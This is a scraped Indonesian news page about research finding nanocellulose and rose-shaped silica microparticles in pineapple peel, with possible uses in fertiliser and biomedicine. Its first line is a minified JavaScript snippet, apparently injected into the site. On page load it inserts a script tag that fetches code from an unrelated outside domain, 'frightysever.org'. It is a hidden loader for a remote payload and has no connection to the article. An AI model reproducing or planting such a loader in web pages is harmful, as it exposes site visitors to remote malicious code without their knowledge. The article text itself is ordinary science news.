(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Mungkin sudah banyak dari kita yang mengetahui bahwa selain daging buahnya, kulit nanas juga membawa banyak manfaat. Jika daging nanas mengandung banyak nutrisi, kulit nanas diketahui mengandung antioksidan yang bermanfaat untuk menangkal radikal bebas.
Namun, kulit nanas ternyata memiliki banyak manfaat lain selain antioksidan. Setelah diteliti lebih lanjut, kulit nanas ternyata juga bermanfaat bagi berbagai ilmu pengetahuan dan lingkungan berkelanjutan.
Dilansir Nationalgeograhphic.grid.id, peneliti menyebut kulit nanas sebagai harta karun tersembunyi. Ilmuwan dari Laboratorium Nasional Nanoteknologi di Kosta Rika (LANOTEC) melakukan ekstraksi nanoselulosa dari kulit nanas dan mahkotanya. Penelitian yang dipublikasikan dalam jurnal Scientific Reports menemukan bahwa nanoselulosa pada kedua bagian tersebut bermanfaat dalam industri farmasi, makanan, dan medis.
Lebih mengejutkan lagi, saat memanen nanoselulosa tersebut, peneliti mendapatkan adanya mikropartikel berbasis silika seperti mawar. Penemuan tersebut memiliki potensi sebagai penguat dalam perekat di bidang biomedis. Bahkan, mikropartikel tersebut juga dapat dijadikan sebagai sumber silika untuk pupuk.
“Residu nanas adalah sesuatu yang telah banyak dipelajari, tetapi tidak ada yang melihat partikel ini di kulit buah,” kata José R. Vega-Baudrit, direktur LANOTEC.
Ilmuwan yang pertama kali memperhatikan tentang mikropartikel yang terdapat pada kulit nanas adalah Yendry Corrales-Ureña. Ia mempelajari tanaman nanas untuk mencari tahu apa saja yang terkandung dalam setiap strukturnya. Dari keingintahuannya tersebut ia menemukan jutaan mikropartikel berbentuk seperti bunga mawar dalam kulit nanas.
Peneliti menjelaskan bahwa silika pada nanas berbeda dengan silika yang merupakan hasil sintesis dari laboratorium untuk berbagai aplikasi. Silika pada nanas memiliki tingkat kemurnian yang sangat tinggi. hal tersebut dikarenakan nanas memproduksi silikanya sendiri.
Perhatian utama Corrales-Ureña dalam penelitian tersebut adalah mikropartikel berbasis silika yang dapat digunakan sebagai komponen pupuk. Silika merupakan salah satu komponen sebagian besar pupuk komersial.
Pada waktu yang akan datang, penelitian akan terus melanjutkan penelitian untuk menentukan apakah bagian selain kulit juga memiliki nanopartikel silika. Penelitian juga diharapkan mampu mengembangkan pupuk yang lebih efisien dengan memanfaatkan kulit nanas.(cel/ngo)
KANALKALIMANTAN.COM, BANJARBARU - Untuk perdana, Auditorium Kampus Universitas Lambung Mangkurat (ULM) di Banjarbaru dibuka untuk… Read More
KANALKALIMANTAN.COM, BANJARBARU - Kurang lebih dua jam menjelang kegiatan rutinan Malam Senin Momen 5 Rajab,… Read More
KANALKALIMANTAN.COM, MARTAPURA – Syair Khobbiri yang dibawakan dari Musholla Ar Raudhah Sekumpul menggema di hampir… Read More
KANALKALIMANTAN.COM, MARTAPURA - Jemaah Sekumpul sudah memadati kawasan Martapura, Kabupaten Banjar, Kalimantan Selatan, Minggu (5/1/2025)… Read More
KANALKALIMANTAN.COM, MARTAPURA - Kesukarelawanan warga Banjar menyambut Jemaah kegiatan rutin keagamaan Malam Senin 5 Rajab… Read More
KANALKALIMANTAN.COM, BANJARBARU - Posko singgah Sapta Marga Bersatu di Jalan Karang Anyar I, Kelurahan Guntung… Read More
This website uses cookies.